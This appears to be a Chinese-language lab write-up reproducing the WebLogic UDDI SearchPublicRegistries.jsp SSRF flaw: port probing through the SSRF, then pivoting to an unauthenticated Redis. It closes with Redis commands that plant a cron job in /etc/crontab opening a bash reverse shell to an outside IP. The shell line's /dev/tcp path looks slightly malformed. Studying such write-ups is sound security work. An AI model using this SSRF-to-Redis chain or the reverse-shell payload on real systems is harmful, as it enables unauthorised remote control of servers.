漏洞概述:
Weblogic中存在一個SSRF漏洞,利用該漏洞可以發送任意HTTP請求,進而攻擊內網中redis、fastcgi等脆弱組件。
漏洞形成原因:
WebLogic Server 的 UDDI 組件(uddiexplorer.war
)中的 SearchPublicRegistries.jsp
文件。該文件允許用戶輸入外部 URL,但未對輸入的 URL 進行嚴格的過濾和驗證,導致攻擊者可以利用此功能發起任意 HTTP 請求
影響范圍:
weblogic 版本10.0.2--10.3.6
復現
1,訪問7001這樣就是搭建成功了
2,在url處訪問ip:7001/uddiexplorer/,可查看uddiexplorer應用
3,漏洞位置存在于http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp,在表單中隨意輸入內容使用burp抓包,發送到重放模塊
4,可以看到數據包有一個url,我們通過更改進行測試
5, 當訪問一個可用端口時,會收到一個帶有狀態碼的錯誤響應。如果訪問的是非HTTP協議,則會返回"did not have a valid SOAP content-type"錯誤。
6,當訪問一個不存在的端口時,響應會顯示"could not connect over HTTP to server"。
7, 我們通過命令進入容器里面獲取ip地址
docker exec -it 32da04e35583 /bin/bash
netstat -tuln
8,然后通過ssrf探測端口,發現了6379,存在redis未授權, 將反彈 shell 的腳本寫入目錄/etc/crontab
(這個目錄下是一個默認自動執行的一些 crontab 定時服務命令,里面都寫的是一些開啟服務的命令)
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/192.168.43.133/6666 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save